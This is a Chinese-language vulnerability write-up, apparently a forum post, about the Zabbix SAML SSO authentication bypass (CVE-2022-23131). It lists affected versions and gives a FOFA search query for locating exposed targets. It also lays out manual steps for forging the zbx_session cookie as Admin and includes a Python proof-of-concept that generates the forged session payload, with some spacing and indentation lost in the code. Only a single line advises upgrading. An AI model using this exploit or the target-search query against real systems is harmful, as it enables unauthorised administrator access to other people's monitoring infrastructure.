一、漏洞详情
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案,在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。
二、漏洞影响范围
Zabbix 5.4.0 – 5.4.8
Zabbix 6.0.0alpha1
三、漏洞复现
fofa:app=”ZABBIX-监控系统” && body=”saml”
自行搭建靶场
对下方SAML登录链接进行抓包
对 zbx_session 的值,先使用url解码再用 base64 解密一下
解密出来的数据和 {“saml_data”:{“username_attribute”:“Admin”} 结合
{“saml_data”:{“username_attribute”:“Admin”} "sessionid":"e5e1062a85fcc21e638eb21cd091ff13","sign":"d2b343d6d27da70c47ad38da322fd2488d30c043bffd559e386fcaa4e7884309"}
然后再进行一次加密
将加密的数据替换掉原来的zbx_session
python poc
因太复杂所以暂时用python代替
# coding
import sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def runPoc(url):
response = requests.get(url,verify=False)
cookie = response.headers.get("Set-Cookie")
sessionReg = re.compile("zbx_session=(.*?);")
try:
session = re.findall(sessionReg,cookie)[0]
base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
session_json = json.loads(base64_decode)
payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])
print("未加密Payload:" + payload)
print('\n')
payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
print("加密后Payload:" + payload_encode)
exceptIndexError:
print("[-] 不存在漏洞")
if__name__ == '__main__':
try:
url = sys.argv[1]
runPoc(url)
exceptIndexError:
print("""
Use: python CVE-2022-23131.py http://xxxxxxxxx.com
By:MrHatSec""")
四、漏洞处置建议
尽快升级到最新版本。
请登录后查看回复内容